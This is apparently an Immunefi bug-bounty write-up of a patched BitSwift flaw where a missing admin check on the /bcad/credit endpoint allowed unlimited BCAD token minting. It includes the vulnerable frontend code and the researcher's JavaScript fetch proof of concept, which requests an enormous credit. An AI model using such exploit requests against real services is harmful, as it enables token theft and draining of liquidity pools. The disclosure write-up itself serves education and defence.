Bitswift Unlimited Mint Bugfix Review

Summary
It’s easy to forget that smart contracts are not the only place where bugs can reside — the front websites of dApps are also vulnerable and still rewarding for successful bug hunters. Although most of the magic happens on the blockchain, dApps still have websites. And many of those are built on the same web infrastructure that powers most of the known internet.
And so, we present: the now-patched ‘Unlimited Mint’ web bug.
The critical vulnerability was reported to Immunefi on December 8th by a community security researcher. As its name suggests, the bug could lead to unlimited mint of the BCAD tokens, which the hacker could then trade via liquidity pools to other tokens and empty them out.
Luckily, BitSwift was quick in acknowledging the bug, made a payout of $4,515 to the whitehat, and patched this critical web bug vulnerability.
Vulnerability Analysis
“Time spent in reconnaissance is seldom wasted,”
— John Marsden, author of the book Tomorrow, When the War Began.
As most seasoned bug hunters know, reconnaissance is a crucial part of web security. A researcher could spend a lot of time just reading through Javascript files, as it gives them a rough idea of what endpoints the web app has, and what the architecture looks like.
This is key to finding potential vectors of attack: what levers to pull, what holes to poke at, and where to apply leverage. Any hacker worth their salt could tell you that any time spent understanding how the project is built pays off in multiples in the end.
It was while reviewing the application Javascript files of a project that one of the researchers from the Immunefi whitehat community discovered a vulnerability for BitSwift Cash — a critical bug that enabled them to mint an infinite amount of BCAD tokens.
It all came down to this: one of the files (main.js) had information on all the endpoints. It looked like all of them needed to be authenticated, and this authentication was based on JWT.
Introduction to JWT
JWT is often used for front-end and back-end separation, as it is compatible with Restful API, and its ease of configurability means that it is often used to build identity authentication mechanisms. The specification allows developers to pass secure and reliable information between users and servers.
When a user enters their credentials, a post request is sent (check Figure 1) after which the credentials are validated. If they form a correct combination, then the user is presented with a response having a JWT token as seen in Figure 2.
Example JWT : eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw
Now, whenever a user accesses something, the request which is made is slightly different, having a new authorization header: jwt
JWT is actually carried as authenticated information, and JWT is often stored in localstorage
by frontend code.
Local storage is a new feature of HTML5 that basically allows developers to store any information they specify in a user’s browser using JavaScript, a solution that is both elegant and effective. Easy, isn’t it?
If you want to learn more about JWT and some of its other issues, please check out this great article by Rudra, one of our web triagers at Immunefi.
The Actual Issue
At some point, it was noticed by the researcher that BitSwift introduced a new property in the JWT payload to differentiate between an admin and a user.
{ “admin”: false,
“aud”: [
2625,
“bitswift.cash”
],
“exp”: 1639641831,
“iat”: 1639638231,
“iss”: “bitswift.cash”,
“jti”: “5tpR-bagAJO4aerV8iFHN5CzVRf_zXdXGVRQjRPwbvU=”,
“nbf”: 1639638231,
“sub”: 2625,
“username”: “immunefi”,
“verified”: false
}
The endpoints were protected by checking whether the user who requested the resource is admin or not. If the request was placed by a non-admin it would be rejected. However, our researcher was able to identify that the /bcad/credit endpoint did not have any permission checks on it, and they were therefore able to request it without incurring any errors.
The vulnerable endpoint:
async confirmCreditSubmit(e) {
e.preventDefault();
const multiplier = new BigNumber(1000000);
const userAmount = new BigNumber(this.state.amount).multipliedBy(multiplier); const res = await this.props.apiClient.BCADCredit({
amount: userAmount.toNumber(),
unique_message: this.props.user.unique_message,
}, this.user.accessToken) if (res.success === true) {
this.setState({
modal: false,
confirmModal: false,
}); } else {
this.setState({
error: `Failed to credit BCAD to the user${res.msg ? ‘: ‘ + res.msg : ‘’}`
});
}
}
The following PoC was provided by the researcher in order to exploit the above vulnerable endpoint:
let res = await fetch(‘https://bitswift.cash:8443/bcad/credit', {
method: ‘POST’,
mode: ‘cors’,
headers: {
‘Content-Type’: ‘application/json’,
‘Authorization’: ‘Bearer ‘ + token
},
body: JSON.stringify({
amount: 9999999999999999,
unique_message: “9C83C69E98A7152693E3AB357649744765456614”, //use your account’s unique message
}),
redirect: ‘follow’,
referrer: ‘no-referrer’,
});res = await res.text();
console.log(res); //success, despite not being an admin
By initiating the above HTTP request, any attacker could have the ability to mint an unspecified amount of tokens into their account. They can then clean out any open liquidity pools with the token by trading against them until no value is left.
The BitSwift team acknowledged this vulnerability and released the fix as soon as they were aware of the submission, rewarding the researcher with a bounty of just over $4,500 dollars.
Vulnerability Timeline:
Submission Created — December 8 at 8:28 pm
Submission Escalated — December 9 at 8:37 am
BitSwift Initial Reply — December 9 at 10:00 am
BitSwift Acknowledgement — December 9 at 10:30 pm
Bounty Awarded — December 10 at 5:33 am
The submission was handled rapidly by all parties. Once the project was notified, it took them only 30 minutes to acknowledge the issue, and they paid out the bounty in less than 8 hours.
Acknowledgements
We would like to thank the researcher for doing an amazing job and coming up with this really interesting finding. Props also to the BitSwift team who gave a ‘swift’ response and payout.
This issue was reported responsibly and securely via the Immunefi platform, leading to a happy outcome for everyone, especially the users whose overall confidence in the project is preserved.
If you’d like to start bug hunting, we got you. Check out the Web3 Security Library, and start earning rewards on Immunefi — the leading bug bounty platform for web3 with the world’s biggest payouts.